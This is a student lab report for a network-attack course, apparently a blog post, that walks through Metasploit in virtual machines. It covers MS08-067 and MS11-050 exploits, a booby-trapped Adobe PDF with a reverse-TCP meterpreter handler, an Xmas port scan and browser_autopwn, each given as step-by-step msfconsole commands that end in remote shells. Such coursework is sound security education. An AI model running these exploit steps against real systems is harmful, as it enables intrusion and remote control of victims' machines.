zoukankan      html  css  js  c++  java
  • 20145216史婧瑶 《网络对抗》 MSF基础应用

    20145216史婧瑶 《网络对抗》 MSF基础应用

    实验回答问题

    用自己的话解释什么是exploit,payload,encode.

    • exploit:渗透攻击模块,测试者利用它来攻击一个系统,程序,或服务,以获得开发者意料之外的结果。
    • payload:攻击载荷模块,由一些可动态运行在远程主机上的代码组成
    • encode:编码器模块,对指令重新进行编码,用以实现反检测功能、指令顺利执行等

    实践过程

    主动攻击(ms08_067漏洞)

    MS08_067远程漏洞攻击实践:Shell

    1、在VMware中设置两台虚拟机网络为NAT模式,自动分配IP地址,之后两台虚拟机就可以直接ping通。如下图:


    2、在kali终端中开启msfconsole。
    3、输入命令search ms08_067,会显示出找到的渗透模块,如下图所示:


    4、输入命令use exploit/windows/smb/ms08_067_netapi,进入该漏洞模块的使用。
    5、输入命令show payload会显示出有效的攻击载荷,如下图所示,我们找到一个shell_reverse_tcp。


    6、命令show targets会显示出可以被攻击的靶机的操作系统型号,如下图所示:


    7、使用命令set payload generic/shell_reverse_tcp设置攻击有效载荷。
    8、输入命令show options显示我们需要在攻击前需要设置的数据。


    9、输入命令

    set LHOST "kali Ip" 
    
    set RHOST "Win xp Ip"
    

    并使用命令show options再次查看payload状态。


    10、输入命令exploit开始攻击,如下图所示是正常攻击成功结果。


    在kali上执行ipconfig/all得到如下图所示:


    在win xp上执行同样的命令,如下图所示:

    MS08_067远程漏洞攻击实践:meterpreter

    1、前面依然使用命令use exploit/windows/smb/ms08_067_netapi,进入ms08_067漏洞模块。
    2、设置payload:set payload windows/meterpreter/reverse_tcp
    3、show options,查看需要设置的ip地址,如下图所示,是已经设置好的


    4、成功攻击结果:

    针对浏览器的攻击(MS11_050漏洞)

    1、设置虚拟机网络为NAT模式,保证两台虚拟机可以相互间ping通。


    2、在kali终端中开启msfconsole。
    3、输入命令use windows/browser/ms11_050_mshtml_cobjectelement,进入该漏洞模块。
    4、输入info查看信息:


    5、设置对应的载荷set payload windows/meterpreter/reverse_tcp;
    6、show options查看需要设置的相关信息:


    7、设置相关信息

    set LHOST ‘kali Ip’
    
    set LPORT  XXXX
     
    set URIPATH XXX
    


    8、exploit,如下图所示,有靶机需要访问的ip地址:


    9、在靶机IE上输入网址,并在靶机上查看信息。
    靶机端IE:


    kali中显示一个session 1已经创建:


    10、输入命令sessions -i 1,开始连接 


    11、攻击成功,获取shell 

    针对客户端的攻击(Adobe阅读器)

    1、两台虚拟机,其中一台为kali,一台为windows xp sp3。
    2、设置虚拟机网络为NAT模式,保证两台虚拟机可以ping通。
    3、kali下打开显示隐藏文件。
    4、在kali终端中开启msfconsole。
    5、输入命令use exploit/windows/fileformat/adobe_cooltype_sing,进入该漏洞模块的使用。
    6、使用命令set payload windows/meterpreter/reverse_tcp设置攻击有效载荷。
    7、输入命令show options显示我们需要在攻击前需要设置的数据,如下图:


    8、输入命令

    set FILENAME xxx.pdf 
    
    set LHOST "KALI Ip"
    
    set LPORT xxxx
    

    并使用命令show options,看是否设置成功。


    9、输入exploit,生成pdf文件,并可以看到pdf所在文件夹,将pdf复制到靶机里。

    10、使用命令back退出当前模块,并使用use exploit/multi/handler新建一个监听模块。
    11、使用set payload windows/meterpreter/reverse_tcp建立一个反向连接。
    12、使用命令exploit开始攻击,在xp中打开pdf。


    13、kali中显示成功回连。


    14、输入shell,查看xp靶机信息。

    应用辅助模块

    TCP"XMas"端口扫描

    该扫描可以用来判断端口是开放还是关闭,输入命令use auxiliary/scanner/portscan/xmas,并输入show options查看需要设置的选项。

    设置靶机IP和端口号。

    输入run后,弹出如下提示:

    输入密码后开始扫描,结果如下:


    表示80端口是开放或者被过滤(屏蔽)的

    browser_autopwn模块

    browser_autopwn是Metasploit提供的辅助功能模块。在用户访问Web页面时,它会自动攻击受害者的浏览器。在开始攻击之前,browser_autopwn能够检测用户使用的浏览器类型,browser_autopwn将根据浏览器的检测结果,自行部署最合适的exploit。

    设置反向TCP连接将要连接的主机IP地址和URI路径:

    执行exploit:

    在windows7中打开浏览器访问http://172.16.47.130:8080/filetypes这个网址:

    攻击成功:

    实验总结与体会

    这次实验我浪费了很多时间,因为电脑存储空间不足的原因,我无法安装靶机,于是临时买了一个sd卡,才勉强能完成这次实验,在等待问题解决的过程中,我看了许多同学的博客,因此避免了许多错误的产生。这次实验虽然有4个实践任务,但是我认为原理都是类似的,通过完成这次实验,我对msf的应用了解的更多更深了。

  • 相关阅读:
    LOJ-10108(欧拉回路+并查集)一个图至少用几笔画成
    hdu-1878(欧拉回路)
    LOJ-10106(有向图欧拉回路的判断)
    欧拉回路
    LOJ-10105(欧拉回路模板,套圈法,递归)
    LOJ-10102(求A到B之间的割点)
    LOJ-10103(求删去割点后最多的连通分量)
    LOJ-10102(桥的判断)
    【XSY2278】【HDU5669】the Red Sun(线段树+dijkstra)
    【XSY2434】【CF787D】遗产(线段树+dijkstra)
  • 原文地址:https://www.cnblogs.com/sjy519/p/6714312.html
Copyright © 2011-2022 走看看